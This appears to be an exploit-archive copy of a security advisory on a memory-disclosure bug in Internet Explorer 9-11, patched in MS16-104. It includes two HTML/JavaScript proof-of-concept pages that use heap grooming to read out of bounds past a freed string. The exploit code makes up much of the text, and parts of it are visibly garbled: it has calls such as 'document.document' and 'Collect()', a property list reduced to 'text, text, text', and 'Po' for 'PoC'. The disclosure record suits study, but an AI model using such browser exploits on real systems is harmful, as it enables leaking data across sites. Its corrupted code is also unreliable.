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<!--
Source: http://blog.skylined.nl/20161109001.html
Synopsis
A specially crafted web-page can cause Microsoft Internet Explorer to assume a CSS value stored as a string can only be "true" or "false". To determine which of these two values it is, the code checks if the fifth character is an 'e' or a "\0". An attacker that is able to set it to a smaller string can cause the code to read data out-of-bounds and is able to determine if a WCHAR value stored behind that string is "\0" or not.
Known affected versions, attack vectors and mitigations
MSIE 9-11 (earlier versions were not tested)
An attacker would need to get a target user to open a specially crafted webpage. Disabling Java should prevent an attacker from triggering the vulnerable code path.
repro.html
<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<script>
// This Po attempts to exploit a memory disclosure bug in Microsoft Internet
// Explorer 11. On x64 systems, this should cause an access violation when
// run with page-heap enabled, as the code attempts to read a byte
// immediately following a 4 byte memory block.
// See http://blog.skylined.nl/20161109001.html for details.
var o = document.document;
Collect();
// Heap Feng-Shui plunger
o.set("a", "1");
o.set("b", "2");
o.set("c", "3");
o.set("d", "4");
o.set("e", "5");
o.set("f", "6");
// Allocate a string that contains 3 characters (6 bytes), for which an 8
// byte memory block is allocated:
o.set("g", "AB\u4141");
// Free the memory block.
o.remove("g");
// Reallocate the same memory block to store a 1 character string (2 bytes).
// The memory block will look like this:
// 78 00 00 00 41 41 00 00 | "x\0\u4141\0"
// ^- start --------- end -^
// Now have the code attempt to read the fifth character and access OOB data:
document.document.style.set("textdecorationblink", "x");
// This work by Sky is licensed under a Creative Commons
// Attribution-Non-Commercial 4.0 International License.
</script>
Description
Certain code that handles CSS properties in MSIE assumes that the property value is always a string set to either "true" or "false". To determine which of these two values it is, the code checks if the fifth character is '\0'. However, it is possible to set such values to arbitrary strings, including a smaller string. This causes the code to read beyond the end of the string and allows an attacker to determine if an WORD stored after the string is '\0'.
The vulnerable code is in MSHTML!PROPERTYDESC::Handle. This code is heavily branched to handle various types of CSS properties. Luckily, the type being exploited is one of the first to be handled. The code appears to assume that the value is provided as a pointer to a BSTR which will always have a WCHAR at offset +8 that may be '\0' or not. If this WCHAR is not '\0', a CSS property is set to a certain value, otherwise it is set to an empty string. As long as this BSTR is always either be "true" or "false", this code works as expected. However, it is possible to provide an arbitrary value for this BSTR, which can be shorter than 4 WCHARs. This would causing the code to read a WCHAR outside of the memory used to store that BSTR.
In the repro, we used Heap Feng-Shui to put a BSTR containing 3 WCHARs in the OLEAUT32 cache. This causes MSIE to allocate 12 byte of memory to store the string: 4 bytes to store the DWORD length of the BSTR, 6 to store the characters, and 2 to store a "\0" terminator. This memory is then reused to store a 1 WCHAR string "x". When the code attempts to check if the fifth character in this his BSTR is '\0', it will attempt to read the two bytes at offset 14 (The characters are stored at offset 4, after the DWORD length, and the fifth character is at offset 10 from the first). This causes the code to read outside of the bounds of that BSTR and trigger an access violation. (On x86 systems, page heap will provide some padding at the end of the string, causing the code to read these padding bytes, so no AV happens).
Known properties of the type that leads to the vulnerable code path include text, text, text, text, and text.
Exploit
The value of a CSS property is updated based on the value of the fifth WCHAR, and this CSS property can be read from Javascript to determine if this WCHAR was '\0' or not. This allows a limited form of information disclosure. During my testing, I used the text property, which can be used to set the CSS text-decoration property to "blink" or an empty string.
Using Heap-Feng Shui, it may be possible to reuse memory allocated for other strings that have since been freed and determine if they had a '\0' WCHAR as their fifth character. This includes strings to should normally not be accessible to the website, such as those from a different origin. Also using Heap Feng-Shui, it may be possible to allocate some interesting object immediately following the string, in order to determine if a WORD at the start of that object is 0 or not.
The "exploit" provided below shows that it is possible to determine if the fifth WCHAR of the last freed BSTR was '\0' or not.
Time-line
Februari 2016: This vulnerability was found through fuzzing.
Februari 2016: This vulnerability was submitted to ZDI, i and EIP.
March-July 2016: ZDI, i and EIP all either reject the submission or fail to respond.
July 2016: This vulnerability was reported to Microsoft with a 60-day deadline to address the issue.
August 2016: Microsoft is granted an 11 day extension to the deadline to address it in September's Patch Tuesday.
September 2016: The vulnerability was address by Microsoft in MS16-104.
November 2016: Details of this issue are released.
-->
<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<script>
// This Po attempts to exploit a memory disclosure bug in Microsoft Internet
// Explorer 11. See http://blog.skylined.nl/20161109001.html for details.
var s = "textdecorationblink", //text, text, text, text
s = "text-decoration",
s = "blink";
function fb(s) {
var o = document.create("x");
// Cleanup, potentially fill OLEAUT32 BSTR cache
Collect();
// Empty the smallest BSTR bucket of the OLEAUT32 cache and defragement the small chunks heap.
o.set("a", "1");
o.set("b", "2");
o.set("c", "3");
o.set("d", "4");
o.set("e", "5");
o.set("f", "6");
// Add the <s> BSTR to the smallest bucket of the OLEAUT32 BSTR cache.
o.set("x", s);
o.remove("x");
// reused the <s> memory and overwrite the first two chars with 'x' and '\0', then read from offset +8
o.style.set(s, "x");
var b = o.style.get(s) == s;
alert(JSON.stringify(s) + "=>" + b);
};
fb("12345"); // true
fb("1234\0"); // false
fb("1234"); // false
fb("123"); // (AV on x64 if page heap enabled).
// This work by Sky is licensed under a Creative Commons
// Attribution-Non-Commercial 4.0 International License.
</script>
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